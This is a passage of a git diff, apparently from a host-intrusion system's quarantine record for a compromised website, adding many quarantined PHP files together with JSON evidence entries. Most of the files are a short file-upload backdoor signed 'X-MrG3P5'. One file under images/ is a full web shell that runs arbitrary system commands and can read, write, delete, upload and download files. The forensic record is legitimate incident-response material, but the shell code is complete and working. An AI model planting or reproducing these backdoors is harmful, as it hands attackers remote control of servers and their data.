';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json new file mode 100644 index 0000000..719fb88 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3117", + "log_excerpt": "[quarantine] www.archline.hu:cache/up_jg8ycx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/up_jg8ycx.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813007, + "size": 448, + "uid": 20043 + }, + "rel_path": "cache/up_jg8ycx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json new file mode 100644 index 0000000..a49d4d3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3116", + "log_excerpt": "[quarantine] www.archline.hu:cache/up_mmbalc.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/up_mmbalc.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812913, + "size": 448, + "uid": 20043 + }, + "rel_path": "cache/up_mmbalc.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cckcn.php3.json b/var/www/hosting/archline.hu/www/cckcn.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cckcn.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json b/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json new file mode 100644 index 0000000..5e2f9f3 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cckcn.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2832", + "log_excerpt": "[quarantine] www.archline.hu:cckcn.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cckcn.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790445, + "size": 448, + "uid": 20043 + }, + "rel_path": "cckcn.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cmzqi.php.json b/var/www/hosting/archline.hu/www/cmzqi.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cmzqi.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json b/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json new file mode 100644 index 0000000..789df92 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cmzqi.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2881", + "log_excerpt": "[quarantine] www.archline.hu:cmzqi.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cmzqi.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783790435, + "size": 448, + "uid": 20043 + }, + "rel_path": "cmzqi.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json new file mode 100644 index 0000000..441569c --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4762", + "log_excerpt": "[quarantine] www.archline.hu:components/up_4v4hfn.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/up_4v4hfn.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812944, + "size": 448, + "uid": 20043 + }, + "rel_path": "components/up_4v4hfn.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json new file mode 100644 index 0000000..592727c --- /dev/null +++ b/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4768", + "log_excerpt": "[quarantine] www.archline.hu:components/up_eqs3oz.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/components/up_eqs3oz.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813025, + "size": 448, + "uid": 20043 + }, + "rel_path": "components/up_eqs3oz.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/cpjaz.php5.json b/var/www/hosting/archline.hu/www/cpjaz.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/cpjaz.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json b/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json new file mode 100644 index 0000000..3a59e8b --- /dev/null +++ b/var/www/hosting/archline.hu/www/cpjaz.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2863", + "log_excerpt": "[quarantine] www.archline.hu:cpjaz.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cpjaz.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950927, + "size": 448, + "uid": 20043 + }, + "rel_path": "cpjaz.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/dhtwb.php.json b/var/www/hosting/archline.hu/www/dhtwb.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/dhtwb.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json b/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json new file mode 100644 index 0000000..b18daaf --- /dev/null +++ b/var/www/hosting/archline.hu/www/dhtwb.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2890", + "log_excerpt": "[quarantine] www.archline.hu:dhtwb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/dhtwb.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813993, + "size": 448, + "uid": 20043 + }, + "rel_path": "dhtwb.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/ebcvh.phar.json b/var/www/hosting/archline.hu/www/ebcvh.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/ebcvh.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json b/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json new file mode 100644 index 0000000..424c023 --- /dev/null +++ b/var/www/hosting/archline.hu/www/ebcvh.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2892", + "log_excerpt": "[quarantine] www.archline.hu:ebcvh.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/ebcvh.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950922, + "size": 448, + "uid": 20043 + }, + "rel_path": "ebcvh.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/efsfk.php5.json b/var/www/hosting/archline.hu/www/efsfk.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/efsfk.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json b/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json new file mode 100644 index 0000000..7131d3d --- /dev/null +++ b/var/www/hosting/archline.hu/www/efsfk.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2926", + "log_excerpt": "[quarantine] www.archline.hu:efsfk.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/efsfk.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811781, + "size": 448, + "uid": 20043 + }, + "rel_path": "efsfk.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/fcjf1ich.php.json b/var/www/hosting/archline.hu/www/fcjf1ich.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/fcjf1ich.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json b/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json new file mode 100644 index 0000000..7e709da --- /dev/null +++ b/var/www/hosting/archline.hu/www/fcjf1ich.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2900", + "log_excerpt": "[quarantine] www.archline.hu:fcjf1ich.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/fcjf1ich.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812986, + "size": 448, + "uid": 20043 + }, + "rel_path": "fcjf1ich.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/friska.php.json b/var/www/hosting/archline.hu/www/friska.php.json new file mode 100644 index 0000000..3b95f25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/friska.php.json @@ -0,0 +1 @@ +'.$n.'';}}?>
\ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/friska.php.json.evidence.json b/var/www/hosting/archline.hu/www/friska.php.json.evidence.json new file mode 100644 index 0000000..9dc2727 --- /dev/null +++ b/var/www/hosting/archline.hu/www/friska.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2883", + "log_excerpt": "[quarantine] www.archline.hu:friska.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/friska.php.json)", + "original_sha256": "553db99b87d71437ec72b1eaa9e8eca909c116b78282a0a890f6604c5009af76", + "original_stat": { + "gid": 30037, + "mtime": 1783805293, + "size": 453, + "uid": 20043 + }, + "rel_path": "friska.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/humis.php.json b/var/www/hosting/archline.hu/www/humis.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/humis.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/humis.php.json.evidence.json b/var/www/hosting/archline.hu/www/humis.php.json.evidence.json new file mode 100644 index 0000000..d45d9cb --- /dev/null +++ b/var/www/hosting/archline.hu/www/humis.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2904", + "log_excerpt": "[quarantine] www.archline.hu:humis.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/humis.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811787, + "size": 448, + "uid": 20043 + }, + "rel_path": "humis.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/iarub.php7.json b/var/www/hosting/archline.hu/www/iarub.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/iarub.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json b/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json new file mode 100644 index 0000000..2457d8e --- /dev/null +++ b/var/www/hosting/archline.hu/www/iarub.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2854", + "log_excerpt": "[quarantine] www.archline.hu:iarub.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/iarub.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813984, + "size": 448, + "uid": 20043 + }, + "rel_path": "iarub.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json new file mode 100644 index 0000000..1714fc5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json @@ -0,0 +1,68 @@ +"; + system($cmd); + echo "
"; +} +if(isset($_GET["upload"])) { + if(isset($_FILES["file"])) { + $name = $_FILES["file"]["name"]; + move_uploaded_file($_FILES["file"]["tmp_name"], $name); + echo "Uploaded: " . $name; + } else { + echo '
+ + +
'; + } +} +if(isset($_GET["download"])) { + $file = $_GET["download"]; + if(file_exists($file)) { + header("Content-Type: application/octet-stream"); + header("Content-Disposition: attachment; filename=" . basename($file)); + readfile($file); + } else { + echo "File not found: " . $file; + } +} +if(isset($_GET["delete"])) { + $file = $_GET["delete"]; + if(unlink($file)) { + echo "Deleted: " . $file; + } else { + echo "Delete failed: " . $file; + } +} +if(isset($_GET["info"])) { + phpinfo(); +} +if(isset($_GET["dir"])) { + $dir = isset($_GET["dir"]) ? $_GET["dir"] : "."; + $files = scandir($dir); + foreach($files as $file) { + if($file != "." && $file != "..") { + echo $file . "\n"; + } + } +} +if(isset($_GET["read"])) { + $file = $_GET["read"]; + if(file_exists($file)) { + echo file_get_contents($file); + } else { + echo "File not found: " . $file; + } +} +if(isset($_GET["write"])) { + $file = $_GET["write"]; + $content = isset($_POST["content"]) ? $_POST["content"] : (isset($_GET["content"]) ? $_GET["content"] : ""); + if(file_put_contents($file, $content)) { + echo "Written: " . $file; + } else { + echo "Write failed: " . $file; + } +} +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json new file mode 100644 index 0000000..44f17c6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3462", + "log_excerpt": "[quarantine] www.archline.hu:images/tzv0g1og9h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/tzv0g1og9h.php.json)", + "original_sha256": "b3cedb62555690bf309116f07bc6fd9beb53f3f58fd3e5fb1102636b084e5b50", + "original_stat": { + "gid": 30037, + "mtime": 1783951699, + "size": 1889, + "uid": 20043 + }, + "rel_path": "images/tzv0g1og9h.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json new file mode 100644 index 0000000..bd836af --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3504", + "log_excerpt": "[quarantine] www.archline.hu:images/up_c82lkd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/up_c82lkd.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812991, + "size": 448, + "uid": 20043 + }, + "rel_path": "images/up_c82lkd.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json new file mode 100644 index 0000000..1d256f7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3511", + "log_excerpt": "[quarantine] www.archline.hu:images/up_z46hdr.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/up_z46hdr.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812891, + "size": 448, + "uid": 20043 + }, + "rel_path": "images/up_z46hdr.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/jjslj.php3.json b/var/www/hosting/archline.hu/www/jjslj.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jjslj.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json b/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json new file mode 100644 index 0000000..84117a5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2879", + "log_excerpt": "[quarantine] www.archline.hu:jjslj.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/jjslj.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813990, + "size": 448, + "uid": 20043 + }, + "rel_path": "jjslj.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/jvjrn.phar.json b/var/www/hosting/archline.hu/www/jvjrn.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jvjrn.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json b/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json new file mode 100644 index 0000000..19b031e --- /dev/null +++ b/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2898", + "log_excerpt": "[quarantine] www.archline.hu:jvjrn.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/jvjrn.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813978, + "size": 448, + "uid": 20043 + }, + "rel_path": "jvjrn.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/lmxjo.php.json b/var/www/hosting/archline.hu/www/lmxjo.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lmxjo.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json b/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json new file mode 100644 index 0000000..74fc6aa --- /dev/null +++ b/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2933", + "log_excerpt": "[quarantine] www.archline.hu:lmxjo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/lmxjo.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950931, + "size": 448, + "uid": 20043 + }, + "rel_path": "lmxjo.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/lyasi.php7.json b/var/www/hosting/archline.hu/www/lyasi.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lyasi.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json b/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json new file mode 100644 index 0000000..b00d226 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2829", + "log_excerpt": "[quarantine] www.archline.hu:lyasi.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/lyasi.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792277, + "size": 448, + "uid": 20043 + }, + "rel_path": "lyasi.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/up_metq24.php.json b/var/www/hosting/archline.hu/www/media/up_metq24.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/up_metq24.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json b/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json new file mode 100644 index 0000000..e5acb26 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3044", + "log_excerpt": "[quarantine] www.archline.hu:media/up_metq24.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/up_metq24.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812900, + "size": 448, + "uid": 20043 + }, + "rel_path": "media/up_metq24.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/mlegu.php5.json 